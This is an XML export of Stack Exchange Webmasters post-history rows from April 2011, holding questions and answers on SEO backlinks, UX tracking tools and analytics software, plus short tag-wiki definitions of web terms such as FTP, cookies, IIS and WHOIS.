  <row Id="28904" PostHistoryTypeId="2" PostId="12636" RevisionGUID="82bf7831-35c6-482b-b092-4ba1551c45ae" CreationDate="2011-04-20T23:45:31.457" UserId="-1" Text="" />
  <row Id="28905" PostHistoryTypeId="2" PostId="12637" RevisionGUID="13127daa-1f4c-4c27-a467-59134a94ee1c" CreationDate="2011-04-20T23:45:31.457" UserId="-1" Text="" />
  <row Id="28906" PostHistoryTypeId="2" PostId="12638" RevisionGUID="78233ffe-ce7d-413d-8cf4-8fd814d96f44" CreationDate="2011-04-20T23:45:43.033" UserId="1161" Text="Does a direct link to the ip work? If the ip link goes to the root of your server, then you could do something like: `127.0.0.1/~username/example.com/`. But, that might not actually work at all, depending how the server is set up.&#xD;&#xA;&#xD;&#xA;I'd contact your host for help with this one." />
  <row Id="28907" PostHistoryTypeId="2" PostId="12639" RevisionGUID="dbebf3aa-4f1f-4496-a877-5dad6fc15798" CreationDate="2011-04-20T23:45:55.777" UserId="-1" Text="" />
  <row Id="28908" PostHistoryTypeId="2" PostId="12640" RevisionGUID="1458cbe8-248c-400f-b136-ac891edfaba1" CreationDate="2011-04-20T23:45:55.777" UserId="-1" Text="" />
  <row Id="28909" PostHistoryTypeId="2" PostId="12641" RevisionGUID="d346e5fb-72b4-4fbd-9424-ddf931081831" CreationDate="2011-04-20T23:46:34.170" UserId="-1" Text="" />
  <row Id="28910" PostHistoryTypeId="2" PostId="12642" RevisionGUID="ded7462f-31f3-43ae-b32d-eae7dce25f17" CreationDate="2011-04-20T23:46:34.170" UserId="-1" Text="" />
  <row Id="28911" PostHistoryTypeId="2" PostId="12643" RevisionGUID="67a97ba8-dc9b-411e-8a9d-e5dc2595310f" CreationDate="2011-04-20T23:47:59.423" UserId="-1" Text="" />
  <row Id="28912" PostHistoryTypeId="2" PostId="12644" RevisionGUID="439ca0de-810e-4fc6-b9f4-b0650b5965a1" CreationDate="2011-04-20T23:47:59.423" UserId="-1" Text="" />
  <row Id="28913" PostHistoryTypeId="2" PostId="12645" RevisionGUID="2c388f00-e716-46f4-bcf9-63eda97fcc44" CreationDate="2011-04-20T23:48:48.487" UserId="-1" Text="" />
  <row Id="28914" PostHistoryTypeId="2" PostId="12646" RevisionGUID="f7ec33da-9e9f-42ff-bf16-01abdc4360a3" CreationDate="2011-04-20T23:48:48.487" UserId="-1" Text="" />
  <row Id="28915" PostHistoryTypeId="2" PostId="12647" RevisionGUID="0cbbae6a-50c3-43c6-82fb-c8311a2a5e06" CreationDate="2011-04-20T23:49:18.270" UserId="-1" Text="" />
  <row Id="28916" PostHistoryTypeId="2" PostId="12648" RevisionGUID="7ef00edf-4ec8-4a7a-a671-1e8a28e3618f" CreationDate="2011-04-20T23:49:18.270" UserId="-1" Text="" />
  <row Id="28917" PostHistoryTypeId="2" PostId="12649" RevisionGUID="c6df1b21-c01e-4955-a933-5b19b52e5d3d" CreationDate="2011-04-20T23:49:45.303" UserId="-1" Text="" />
  <row Id="28918" PostHistoryTypeId="2" PostId="12650" RevisionGUID="2b3ecc9a-0213-4779-bd1b-4e278f882813" CreationDate="2011-04-20T23:49:45.303" UserId="-1" Text="" />
  <row Id="28919" PostHistoryTypeId="2" PostId="12651" RevisionGUID="283d3097-3db5-4c58-bea5-8c6d78a82f52" CreationDate="2011-04-20T23:50:14.960" UserId="-1" Text="" />
  <row Id="28920" PostHistoryTypeId="2" PostId="12652" RevisionGUID="3e03a3ea-8642-48f3-a512-3e9c4dd6d756" CreationDate="2011-04-20T23:50:14.960" UserId="-1" Text="" />
  <row Id="28921" PostHistoryTypeId="2" PostId="12653" RevisionGUID="2506e75f-c075-42d2-a94f-bfb5cfc6bffa" CreationDate="2011-04-20T23:50:52.837" UserId="-1" Text="" />
  <row Id="28922" PostHistoryTypeId="2" PostId="12654" RevisionGUID="6bab6db7-50d8-45df-b683-6b40d1b0596a" CreationDate="2011-04-20T23:50:52.837" UserId="-1" Text="" />
  <row Id="28923" PostHistoryTypeId="2" PostId="12655" RevisionGUID="c36311ac-82a3-4bdb-9ed5-4769f0012136" CreationDate="2011-04-20T23:51:21.807" UserId="-1" Text="" />
  <row Id="28924" PostHistoryTypeId="2" PostId="12656" RevisionGUID="c3197f56-a22d-4869-99c4-d20892e8ba02" CreationDate="2011-04-20T23:51:21.807" UserId="-1" Text="" />
  <row Id="28925" PostHistoryTypeId="2" PostId="12657" RevisionGUID="425a0b59-d441-4d91-9cff-ca77c65771e6" CreationDate="2011-04-20T23:51:43.180" UserId="-1" Text="" />
  <row Id="28926" PostHistoryTypeId="2" PostId="12658" RevisionGUID="017dd18a-76d0-414b-811f-844b8223c106" CreationDate="2011-04-20T23:51:43.180" UserId="-1" Text="" />
  <row Id="28927" PostHistoryTypeId="2" PostId="12659" RevisionGUID="c1a4aa16-8c90-44c8-8bc3-33c2db9ce6d2" CreationDate="2011-04-20T23:52:17.250" UserId="-1" Text="" />
  <row Id="28928" PostHistoryTypeId="2" PostId="12660" RevisionGUID="9fad6398-c899-4990-8356-8cd1ffd76cc1" CreationDate="2011-04-20T23:52:17.250" UserId="-1" Text="" />
  <row Id="28929" PostHistoryTypeId="2" PostId="12661" RevisionGUID="31364941-8a89-4d1e-bbba-0080a06365a8" CreationDate="2011-04-20T23:52:44.397" UserId="-1" Text="" />
  <row Id="28930" PostHistoryTypeId="2" PostId="12662" RevisionGUID="dd0c9c5d-361f-49df-8851-5091371ca234" CreationDate="2011-04-20T23:52:44.397" UserId="-1" Text="" />
  <row Id="28931" PostHistoryTypeId="2" PostId="12663" RevisionGUID="e17806d0-9103-4fbe-9cd7-497a7c3fce36" CreationDate="2011-04-20T23:53:15.737" UserId="-1" Text="" />
  <row Id="28932" PostHistoryTypeId="2" PostId="12664" RevisionGUID="a636fc80-bbf4-4169-aab9-71ea8a77640e" CreationDate="2011-04-20T23:53:15.737" UserId="-1" Text="" />
  <row Id="28933" PostHistoryTypeId="2" PostId="12665" RevisionGUID="1a7dbd57-2e27-49e4-a46b-dd5153524080" CreationDate="2011-04-20T23:54:06.390" UserId="-1" Text="" />
  <row Id="28934" PostHistoryTypeId="2" PostId="12666" RevisionGUID="4ab0040c-496f-4c41-94cc-47c65d63793d" CreationDate="2011-04-20T23:54:06.390" UserId="-1" Text="" />
  <row Id="28935" PostHistoryTypeId="2" PostId="12667" RevisionGUID="76564199-f4d9-4381-a1a7-1c956328dd11" CreationDate="2011-04-20T23:54:30.977" UserId="-1" Text="" />
  <row Id="28936" PostHistoryTypeId="2" PostId="12668" RevisionGUID="db953634-86dc-4f02-876d-387b29713024" CreationDate="2011-04-20T23:54:30.977" UserId="-1" Text="" />
  <row Id="28937" PostHistoryTypeId="2" PostId="12669" RevisionGUID="0a54f55a-5b9a-41fe-9cc8-5cf738657006" CreationDate="2011-04-20T23:55:01.913" UserId="-1" Text="" />
  <row Id="28938" PostHistoryTypeId="2" PostId="12670" RevisionGUID="038af7f9-c724-4aaf-8962-e2c2fe8aa886" CreationDate="2011-04-20T23:55:01.913" UserId="-1" Text="" />
  <row Id="28939" PostHistoryTypeId="2" PostId="12671" RevisionGUID="f9a5d698-78f5-4da4-bd06-b417d706aa7f" CreationDate="2011-04-20T23:55:39.837" UserId="-1" Text="" />
  <row Id="28940" PostHistoryTypeId="2" PostId="12672" RevisionGUID="609ba8ee-02e4-4c84-b897-74ffc26f0eb0" CreationDate="2011-04-20T23:55:39.837" UserId="-1" Text="" />
  <row Id="28941" PostHistoryTypeId="2" PostId="12673" RevisionGUID="257d0b19-8ed3-4079-8099-15eb28740466" CreationDate="2011-04-20T23:57:18.850" UserId="-1" Text="" />
  <row Id="28942" PostHistoryTypeId="2" PostId="12674" RevisionGUID="0617854f-120b-4f40-921c-e091de0b1ee4" CreationDate="2011-04-20T23:57:18.850" UserId="-1" Text="" />
  <row Id="28943" PostHistoryTypeId="2" PostId="12675" RevisionGUID="c1ffca3b-3c67-4247-b37e-28939793f454" CreationDate="2011-04-20T23:58:02.737" UserId="-1" Text="" />
  <row Id="28944" PostHistoryTypeId="2" PostId="12676" RevisionGUID="311d528b-8cee-4b62-acac-ac48bdb65f62" CreationDate="2011-04-20T23:58:02.737" UserId="-1" Text="" />
  <row Id="28945" PostHistoryTypeId="2" PostId="12677" RevisionGUID="59a9cd6d-8dbb-4760-b45c-2f86769cee4d" CreationDate="2011-04-21T00:00:08.600" UserId="-1" Text="" />
  <row Id="28946" PostHistoryTypeId="2" PostId="12678" RevisionGUID="c65ce351-72ff-4bce-8ef5-c52cf85f7014" CreationDate="2011-04-21T00:00:08.600" UserId="-1" Text="" />
  <row Id="28947" PostHistoryTypeId="2" PostId="12679" RevisionGUID="077e69e0-036d-4b90-8d2f-d7049adbb6c2" CreationDate="2011-04-21T00:00:43.480" UserId="-1" Text="" />
  <row Id="28948" PostHistoryTypeId="2" PostId="12680" RevisionGUID="10738b46-c02c-4686-94c5-cd20478d0151" CreationDate="2011-04-21T00:00:43.480" UserId="-1" Text="" />
  <row Id="28949" PostHistoryTypeId="2" PostId="12681" RevisionGUID="1441c696-249d-4d7c-9c77-495994838e0b" CreationDate="2011-04-21T00:01:40.547" UserId="-1" Text="" />
  <row Id="28950" PostHistoryTypeId="2" PostId="12682" RevisionGUID="8ba5ddf6-8393-4ff7-b6b3-38194f93712e" CreationDate="2011-04-21T00:01:40.547" UserId="-1" Text="" />
  <row Id="28951" PostHistoryTypeId="2" PostId="12683" RevisionGUID="e571cbf9-cb5f-4205-85f5-4b3f1ab46b49" CreationDate="2011-04-21T00:02:06.973" UserId="-1" Text="" />
  <row Id="28952" PostHistoryTypeId="2" PostId="12684" RevisionGUID="508a47de-9f02-4bea-bae0-7f346ccb3cc6" CreationDate="2011-04-21T00:02:06.973" UserId="-1" Text="" />
  <row Id="28953" PostHistoryTypeId="2" PostId="12685" RevisionGUID="cef047fb-eda6-4715-b943-3e6d551b7761" CreationDate="2011-04-21T00:02:54.820" UserId="-1" Text="" />
  <row Id="28954" PostHistoryTypeId="2" PostId="12686" RevisionGUID="0c6e256d-fe18-4258-928f-b4ead7d01731" CreationDate="2011-04-21T00:02:54.820" UserId="-1" Text="" />
  <row Id="28955" PostHistoryTypeId="2" PostId="12687" RevisionGUID="31309c1a-9772-4d72-895e-4f38c798955d" CreationDate="2011-04-21T00:04:24.447" UserId="-1" Text="" />
  <row Id="28956" PostHistoryTypeId="2" PostId="12688" RevisionGUID="a30cdcf4-d84e-4183-8bb8-3bedc7124320" CreationDate="2011-04-21T00:04:24.447" UserId="-1" Text="" />
  <row Id="28957" PostHistoryTypeId="25" PostId="12589" RevisionGUID="091869c1-134f-462d-8e0b-91d8249e4e8d" CreationDate="2011-04-21T00:09:17.910" Comment="http://twitter.com/#!/StackWebmasters/status/60857603005231107" />
  <row Id="28958" PostHistoryTypeId="2" PostId="12689" RevisionGUID="2d30553f-34d4-438a-9284-123312da8a94" CreationDate="2011-04-21T00:16:12.433" UserId="5809" Text="I am looking into ways to gain more insight for how people use the tools I build.  Short of having a physical user group for a/b testing, are there some faster and cheaper solutions out there such as tools to gauge eye tracking or mouse tracking, or whatever else can give effective insight into the user's experience?&#xD;&#xA;&#xD;&#xA;Also, is using mechanical-turk-like solutions helpful for UX?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28959" PostHistoryTypeId="1" PostId="12689" RevisionGUID="2d30553f-34d4-438a-9284-123312da8a94" CreationDate="2011-04-21T00:16:12.433" UserId="5809" Text="What are some helpful and free UX tools for eye-tracking and mouse-tracking, etc." />
  <row Id="28960" PostHistoryTypeId="3" PostId="12689" RevisionGUID="2d30553f-34d4-438a-9284-123312da8a94" CreationDate="2011-04-21T00:16:12.433" UserId="5809" Text="&lt;websites&gt;&lt;usability&gt;&lt;ux&gt;" />
  <row Id="28961" PostHistoryTypeId="2" PostId="12690" RevisionGUID="2b5c3c2f-f22d-4339-b87d-6d937e5eb02f" CreationDate="2011-04-21T00:26:53.090" UserId="5013" Text="I know that when it comes to obtaining backlinks, a no-follow is pretty much worthless. However, does Google (or other major search engines) penalize for sites that have nothing but do-follow links?&#xD;&#xA;&#xD;&#xA;I have heard a long time ago (back in 2007) that having no-follow backlinks can make SEO efforts appear more &quot;organic.&quot; Fact or fiction?" />
  <row Id="28962" PostHistoryTypeId="1" PostId="12690" RevisionGUID="2b5c3c2f-f22d-4339-b87d-6d937e5eb02f" CreationDate="2011-04-21T00:26:53.090" UserId="5013" Text="Ratio of No-follow &amp; Do-follow Backlinks" />
  <row Id="28963" PostHistoryTypeId="3" PostId="12690" RevisionGUID="2b5c3c2f-f22d-4339-b87d-6d937e5eb02f" CreationDate="2011-04-21T00:26:53.090" UserId="5013" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;nofollow&gt;&lt;dofollow&gt;" />
  <row Id="28964" PostHistoryTypeId="5" PostId="12366" RevisionGUID="a9ac1d95-e8b8-4d97-a7d7-ba618a419477" CreationDate="2011-04-21T00:28:37.050" UserId="6917" Comment="added 135 characters in body" Text="I am not a webmaster nor a programmer. I am asking this in order to aid in my research for my Master's dissertation where I have to analyze a website's traffic from a file containing activity on the site for the past 10 years.&#xD;&#xA;&#xD;&#xA;What is a great, easy-to-use, and (hopefully) free tool/software that I can install and use on my laptop? I am looking for desktop software, not something to install on a server.&#xD;&#xA;&#xD;&#xA;Does anyone know of anything?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Added on 21/04/2011&#xD;&#xA;Thanks for the answers. At the moment I still don't have the file so that I cannot give more information." />
  <row Id="28965" PostHistoryTypeId="2" PostId="12691" RevisionGUID="06a762fa-78dc-40d3-be84-d7880805168a" CreationDate="2011-04-21T00:32:42.243" UserId="5013" Text="Often I see footer links like:&#xD;&#xA;&#xD;&#xA;SEO by [COMPANY NAME][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://example.com&#xD;&#xA;&#xD;&#xA;How does this help with SEO other than helping a company rank for &quot;Company Name&quot;? When nearby words like &quot;SEO by&quot; get picked up by a search engine crawl, does their proximity to the backlink create some sort of relationship between the backlink and the nearby text?" />
  <row Id="28966" PostHistoryTypeId="1" PostId="12691" RevisionGUID="06a762fa-78dc-40d3-be84-d7880805168a" CreationDate="2011-04-21T00:32:42.243" UserId="5013" Text="Backlinks: How does a company's name as the anchor text help with SEO?" />
  <row Id="28967" PostHistoryTypeId="3" PostId="12691" RevisionGUID="06a762fa-78dc-40d3-be84-d7880805168a" CreationDate="2011-04-21T00:32:42.243" UserId="5013" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;google-crawlers&gt;" />
  <row Id="28968" PostHistoryTypeId="2" PostId="12692" RevisionGUID="3dddc99a-ce5e-4201-bdcc-eddda678ca14" CreationDate="2011-04-21T00:37:20.173" UserId="1253" Text="Yes. The proximity of text near a hyperlink is almost certainly a factor in search engine rankings.&#xD;&#xA;&#xD;&#xA;Your example is still good to do even without keyword proximity because it helps to ensure they rank well for their company name. This is never a given and very important when your name is similar to another company or web pages with bad press about your company outrank you for your company name.&#xD;&#xA;" />
  <row Id="28969" PostHistoryTypeId="2" PostId="12693" RevisionGUID="37a8c38c-91db-44fd-b34f-426e85e9be3b" CreationDate="2011-04-21T00:41:17.520" UserId="5013" Text="Does anyone know of any Analytics Software similar to Statcounter that is free (hopefully) or cheap? I have used Statcounter in the past and it's very helpful, however, it only allows information on that past 500 visits for free. Their paid version is tiered based on traffic, each tier has caps (data past x amount of visits isn't shown) which is a huge turn off.&#xD;&#xA;&#xD;&#xA;With Google Analytics, it's a huge pain to show correlation between two set of data:&#xD;&#xA;ie. I can see how many visits I get from New York and I can see how many visits I get to a certain page, but finding out how many visits to a certain page I get from New York? Forget about it!&#xD;&#xA;&#xD;&#xA;Does anyone know of anything that meets my needs?" />
  <row Id="28970" PostHistoryTypeId="1" PostId="12693" RevisionGUID="37a8c38c-91db-44fd-b34f-426e85e9be3b" CreationDate="2011-04-21T00:41:17.520" UserId="5013" Text="Looking for free/cheap Analytics Software like Statcounter" />
  <row Id="28971" PostHistoryTypeId="3" PostId="12693" RevisionGUID="37a8c38c-91db-44fd-b34f-426e85e9be3b" CreationDate="2011-04-21T00:41:17.520" UserId="5013" Text="&lt;analytics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="28972" PostHistoryTypeId="2" PostId="12694" RevisionGUID="c6957b14-d9d5-40b5-be94-5fcbb95c9342" CreationDate="2011-04-21T00:47:43.710" UserId="1253" Text="SEO myths get dumber and dumber with time...&#xD;&#xA;&#xD;&#xA;The ratio of nofollow and dofollow links is definitely not a factor because:&#xD;&#xA;&#xD;&#xA;- It is an indication of *nothing*. Really, how does this ratio indicate anything about the page quality? Or page's relevance? It doesn't.&#xD;&#xA;&#xD;&#xA;- &quot;Appearing organic&quot; is such a stupid term. Organic is organic. Everything else is not. Search engines are good at, and getting better at, detecting manipulation schemes. Any time you try to appear as something you're not you're manipulating them and that's just dumb (and asking for trouble either now or in the future).&#xD;&#xA;&#xD;&#xA;- Nofollow links are designed to help reduce spam and paid link manipulation. If a site doesn't have any nofollow links then they're not spamming or buying links. Should they be penalized for that?&#xD;&#xA;&#xD;&#xA;- Links from external sites are (theoretically) out of a webmaster's control. So you can't negatively judge a web page (or site) by the actions or links on another site since they don't control it. (If they are caught participating in some kind of scheme then obviously we're into manipulation and it's a different situation then being discussed here).&#xD;&#xA;&#xD;&#xA;- Building on the above, links on other sites can never hurt you (unless you part of a link scheme, buying links, etc). Otherwise it would be too easy for competitors to hurt you. The worst thing that can happen is links from suspect pages are devalued or ignored." />
  <row Id="28973" PostHistoryTypeId="5" PostId="12640" RevisionGUID="99d12b2a-49d2-46a8-82a3-d4cb48eb4690" CreationDate="2011-04-21T00:53:29.767" UserId="5013" Comment="added 185 characters in body" Text="The 404 or Not Found error message is a HTTP standard response code indicating that the client was able to communicate with the server, but the server could not find what was requested." />
  <row Id="28974" PostHistoryTypeId="24" PostId="12640" RevisionGUID="99d12b2a-49d2-46a8-82a3-d4cb48eb4690" CreationDate="2011-04-21T00:53:29.767" Comment="Proposed by 5013 approved by 1253 edit id of 192" />
  <row Id="28975" PostHistoryTypeId="5" PostId="12674" RevisionGUID="22255521-1315-4f91-8afd-1327a7dce36d" CreationDate="2011-04-21T00:53:31.980" UserId="5013" Comment="added 220 characters in body" Text="AdWords is Google's pay-per-click (PPC) contextual advertising advertising network, offering cost-per-click (CPC), cost-per-thousand (CPM) advertising, and site-targeted advertising for text, banner, and rich-media ads. " />
  <row Id="28976" PostHistoryTypeId="24" PostId="12674" RevisionGUID="22255521-1315-4f91-8afd-1327a7dce36d" CreationDate="2011-04-21T00:53:31.980" Comment="Proposed by 5013 approved by 1253 edit id of 209" />
  <row Id="28977" PostHistoryTypeId="5" PostId="12646" RevisionGUID="97f6c409-fada-421f-b4f9-673da5ee7f6e" CreationDate="2011-04-21T00:53:34.073" UserId="5013" Comment="added 274 characters in body" Text="Authentication is commonly understood as the act of asserting a user's or entity's identity, although in the wider sense it can refer to asserting the truthfulness of any kind of claim. Authentication, like encryption, is a major component in implementing computer security." />
  <row Id="28978" PostHistoryTypeId="24" PostId="12646" RevisionGUID="97f6c409-fada-421f-b4f9-673da5ee7f6e" CreationDate="2011-04-21T00:53:34.073" Comment="Proposed by 5013 approved by 1253 edit id of 195" />
  <row Id="28979" PostHistoryTypeId="5" PostId="12656" RevisionGUID="41442a05-9a34-4e2c-a339-2d139484d7ac" CreationDate="2011-04-21T00:53:35.820" UserId="5013" Comment="added 103 characters in body" Text="Blogger is a blog-publishing service that allows private or multi-user blogs with time-stamped entries." />
  <row Id="28980" PostHistoryTypeId="24" PostId="12656" RevisionGUID="41442a05-9a34-4e2c-a339-2d139484d7ac" CreationDate="2011-04-21T00:53:35.820" Comment="Proposed by 5013 approved by 1253 edit id of 200" />
  <row Id="28981" PostHistoryTypeId="5" PostId="12658" RevisionGUID="12dfa3c0-dcc7-4c07-8d75-9433facf9567" CreationDate="2011-04-21T00:53:37.737" UserId="5013" Comment="added 39 characters in body" Text="CDN stands for Content Delivery Network" />
  <row Id="28982" PostHistoryTypeId="24" PostId="12658" RevisionGUID="12dfa3c0-dcc7-4c07-8d75-9433facf9567" CreationDate="2011-04-21T00:53:37.737" Comment="Proposed by 5013 approved by 1253 edit id of 201" />
  <row Id="28983" PostHistoryTypeId="5" PostId="12654" RevisionGUID="dce46552-4e2c-4765-b2d7-8b4f7f2366a6" CreationDate="2011-04-21T00:53:39.580" UserId="5013" Comment="added 61 characters in body" Text="A cookie is a piece of text stored by the user's web browser." />
  <row Id="28984" PostHistoryTypeId="24" PostId="12654" RevisionGUID="dce46552-4e2c-4765-b2d7-8b4f7f2366a6" CreationDate="2011-04-21T00:53:39.580" Comment="Proposed by 5013 approved by 1253 edit id of 199" />
  <row Id="28985" PostHistoryTypeId="5" PostId="12668" RevisionGUID="21127a07-16e8-49b8-b4be-c96455f5469a" CreationDate="2011-04-21T00:53:41.873" UserId="5013" Comment="added 262 characters in body" Text="CSS3 is an abbreviation of Cascading Style Sheets level 3. CSS is a language for describing the visual presentation of documents described by a markup language. The markup language most commonly used in conjunction with CSS is HTML (Hyper Text Markup Language). " />
  <row Id="28986" PostHistoryTypeId="24" PostId="12668" RevisionGUID="21127a07-16e8-49b8-b4be-c96455f5469a" CreationDate="2011-04-21T00:53:41.873" Comment="Proposed by 5013 approved by 1253 edit id of 206" />
  <row Id="28987" PostHistoryTypeId="5" PostId="12684" RevisionGUID="646d54e4-ba9e-495c-9317-08bc0dd931b0" CreationDate="2011-04-21T00:53:44.120" UserId="5013" Comment="added 92 characters in body" Text="A favicon is the 16x16 pixel graphic displayed in the address bar (left of url) of a browser" />
  <row Id="28988" PostHistoryTypeId="24" PostId="12684" RevisionGUID="646d54e4-ba9e-495c-9317-08bc0dd931b0" CreationDate="2011-04-21T00:53:44.120" Comment="Proposed by 5013 approved by 1253 edit id of 214" />
  <row Id="28989" PostHistoryTypeId="5" PostId="12642" RevisionGUID="19c9dfa0-a646-4255-88a8-b597262d3264" CreationDate="2011-04-21T00:53:46.490" UserId="5013" Comment="added 80 characters in body" Text="A free and open source web browser descended from the Mozilla Application Suite." />
  <row Id="28990" PostHistoryTypeId="24" PostId="12642" RevisionGUID="19c9dfa0-a646-4255-88a8-b597262d3264" CreationDate="2011-04-21T00:53:46.490" Comment="Proposed by 5013 approved by 1253 edit id of 193" />
  <row Id="28991" PostHistoryTypeId="5" PostId="12664" RevisionGUID="74d7885a-1fdd-477d-882e-a9c06458b032" CreationDate="2011-04-21T00:53:48.690" UserId="5013" Comment="added 82 characters in body" Text="FTP is the File Transfer Protocol. It is used for uploading and downloading files." />
  <row Id="28992" PostHistoryTypeId="24" PostId="12664" RevisionGUID="74d7885a-1fdd-477d-882e-a9c06458b032" CreationDate="2011-04-21T00:53:48.690" Comment="Proposed by 5013 approved by 1253 edit id of 204" />
  <row Id="28993" PostHistoryTypeId="5" PostId="12662" RevisionGUID="86b51a38-cfbc-401d-bcbf-0798590c5b3f" CreationDate="2011-04-21T00:53:50.733" UserId="5013" Comment="added 215 characters in body" Text="In the Hypertext Transfer Protocol (HTTP), HTTP header fields contain the operating parameters of an HTTP request or response. With the request or response line (first line of message), they form the message header." />
  <row Id="28994" PostHistoryTypeId="24" PostId="12662" RevisionGUID="86b51a38-cfbc-401d-bcbf-0798590c5b3f" CreationDate="2011-04-21T00:53:50.733" Comment="Proposed by 5013 approved by 1253 edit id of 203" />
  <row Id="28995" PostHistoryTypeId="5" PostId="12670" RevisionGUID="e72da223-1ffd-49ba-a028-012e3200daea" CreationDate="2011-04-21T00:53:52.620" UserId="5013" Comment="added 80 characters in body" Text="An `iframe` is an HTML element that creates an &quot;inline frame&quot; within a document." />
  <row Id="28996" PostHistoryTypeId="24" PostId="12670" RevisionGUID="e72da223-1ffd-49ba-a028-012e3200daea" CreationDate="2011-04-21T00:53:52.620" Comment="Proposed by 5013 approved by 1253 edit id of 207" />
  <row Id="28997" PostHistoryTypeId="5" PostId="12660" RevisionGUID="0e9c2f7f-9fc0-4dd0-947f-0cd756034f65" CreationDate="2011-04-21T00:53:55.477" UserId="5013" Comment="added 169 characters in body" Text="IIS – formerly called Internet Information Server – is a web server application and set of feature extension modules created by Microsoft for use with Microsoft Windows." />
  <row Id="28998" PostHistoryTypeId="24" PostId="12660" RevisionGUID="0e9c2f7f-9fc0-4dd0-947f-0cd756034f65" CreationDate="2011-04-21T00:53:55.477" Comment="Proposed by 5013 approved by 1253 edit id of 202" />
  <row Id="28999" PostHistoryTypeId="5" PostId="12672" RevisionGUID="9d26bf5f-6d1f-423b-b450-aec2283f8c3c" CreationDate="2011-04-21T00:53:58.207" UserId="5013" Comment="added 94 characters in body" Text="LAMP refers to a stack of web technologies based on Linux, Apache, MySQL, and PHP/Perl/Python." />
  <row Id="29000" PostHistoryTypeId="24" PostId="12672" RevisionGUID="9d26bf5f-6d1f-423b-b450-aec2283f8c3c" CreationDate="2011-04-21T00:53:58.207" Comment="Proposed by 5013 approved by 1253 edit id of 208" />
  <row Id="29001" PostHistoryTypeId="5" PostId="12676" RevisionGUID="9069f407-5525-4772-877c-20dd145ab5c8" CreationDate="2011-04-21T00:54:00.577" UserId="5013" Comment="added 212 characters in body" Text="Photoshop is an Adobe product that is the industry standard for creating, modifying, and treating images and graphics. It has plug-ins and scripts that can be installed in order to automate and add functionality." />
  <row Id="29002" PostHistoryTypeId="24" PostId="12676" RevisionGUID="9069f407-5525-4772-877c-20dd145ab5c8" CreationDate="2011-04-21T00:54:00.577" Comment="Proposed by 5013 approved by 1253 edit id of 210" />
  <row Id="29003" PostHistoryTypeId="5" PostId="12686" RevisionGUID="4eec6ed4-4924-4b70-9d36-7ab992eaa854" CreationDate="2011-04-21T00:54:02.713" UserId="5013" Comment="added 195 characters in body" Text="A plug-in (or plugin) is a set of software components that adds specific abilities to a larger software application. If supported, plug-ins enable customizing the functionality of an application." />
  <row Id="29004" PostHistoryTypeId="24" PostId="12686" RevisionGUID="4eec6ed4-4924-4b70-9d36-7ab992eaa854" CreationDate="2011-04-21T00:54:02.713" Comment="Proposed by 5013 approved by 1253 edit id of 215" />
  <row Id="29005" PostHistoryTypeId="5" PostId="12637" RevisionGUID="07c97b00-2154-48f7-b8d8-f87daac630ad" CreationDate="2011-04-21T00:54:04.697" UserId="5013" Comment="added 185 characters in body" Text="Really Simple Syndication (RSS) is a family of web feed formats used to publish frequently updated works—such as blog entries, news headlines, audio, and video—in a standardized format." />
  <row Id="29006" PostHistoryTypeId="24" PostId="12637" RevisionGUID="07c97b00-2154-48f7-b8d8-f87daac630ad" CreationDate="2011-04-21T00:54:04.697" Comment="Proposed by 5013 approved by 1253 edit id of 191" />
  <row Id="29007" PostHistoryTypeId="5" PostId="12644" RevisionGUID="45d4653f-4c21-443b-9541-c2d45e77fdb0" CreationDate="2011-04-21T00:54:06.740" UserId="5013" Comment="added 238 characters in body" Text="Ruby on Rails is an open-source web development framework optimized for programmer happiness and maintaining sustainable productivity. Many things are defined by convention, freeing you from having to re-invent things to stay productive. " />
  <row Id="29008" PostHistoryTypeId="24" PostId="12644" RevisionGUID="45d4653f-4c21-443b-9541-c2d45e77fdb0" CreationDate="2011-04-21T00:54:06.740" Comment="Proposed by 5013 approved by 1253 edit id of 194" />
  <row Id="29009" PostHistoryTypeId="5" PostId="12688" RevisionGUID="137464a9-2716-4564-b85f-08929453eb92" CreationDate="2011-04-21T00:54:08.737" UserId="5013" Comment="added 52 characters in body" Text="SERPs stands for Search Engine Results Page/Position" />
  <row Id="29010" PostHistoryTypeId="24" PostId="12688" RevisionGUID="137464a9-2716-4564-b85f-08929453eb92" CreationDate="2011-04-21T00:54:08.737" Comment="Proposed by 5013 approved by 1253 edit id of 216" />
  <row Id="29011" PostHistoryTypeId="5" PostId="12652" RevisionGUID="3cde07fd-f582-49c0-a19a-fe835fab04c1" CreationDate="2011-04-21T00:54:10.327" UserId="5013" Comment="added 89 characters in body" Text="Twitter is a microblogging service that lets users post &quot;tweets&quot; of up to 140 characters." />
  <row Id="29012" PostHistoryTypeId="24" PostId="12652" RevisionGUID="3cde07fd-f582-49c0-a19a-fe835fab04c1" CreationDate="2011-04-21T00:54:10.327" Comment="Proposed by 5013 approved by 1253 edit id of 198" />
  <row Id="29013" PostHistoryTypeId="5" PostId="12666" RevisionGUID="319b45da-f32d-45a3-9089-fdc866419fd2" CreationDate="2011-04-21T00:54:12.323" UserId="5013" Comment="added 193 characters in body" Text="Validation is used to check data to make sure it fits whatever required specifications are set for it. Typically Validation is used in checking input data, and in verifying data before storage." />
  <row Id="29014" PostHistoryTypeId="24" PostId="12666" RevisionGUID="319b45da-f32d-45a3-9089-fdc866419fd2" CreationDate="2011-04-21T00:54:12.323" Comment="Proposed by 5013 approved by 1253 edit id of 205" />
  <row Id="29015" PostHistoryTypeId="5" PostId="12680" RevisionGUID="7194d648-81d6-4a59-9100-87c6ab8a24dd" CreationDate="2011-04-21T00:54:14.523" UserId="5013" Comment="added 348 characters in body" Text="Web design is a broad term used to encompass the way that content is delivered to an end-user through the World Wide Web, using a web browser or other web-enabled software to display the content. The intent of web design is to create a website—a collection of online content including documents and applications that reside on a web server/servers." />
  <row Id="29016" PostHistoryTypeId="24" PostId="12680" RevisionGUID="7194d648-81d6-4a59-9100-87c6ab8a24dd" CreationDate="2011-04-21T00:54:14.523" Comment="Proposed by 5013 approved by 1253 edit id of 212" />
  <row Id="29017" PostHistoryTypeId="5" PostId="12682" RevisionGUID="5e323a49-49c8-4e6e-8c21-cbd8b81e63b1" CreationDate="2011-04-21T00:54:16.410" UserId="5013" Comment="added 54 characters in body" Text="WHOIS - Service that shows registrant of a domain name" />
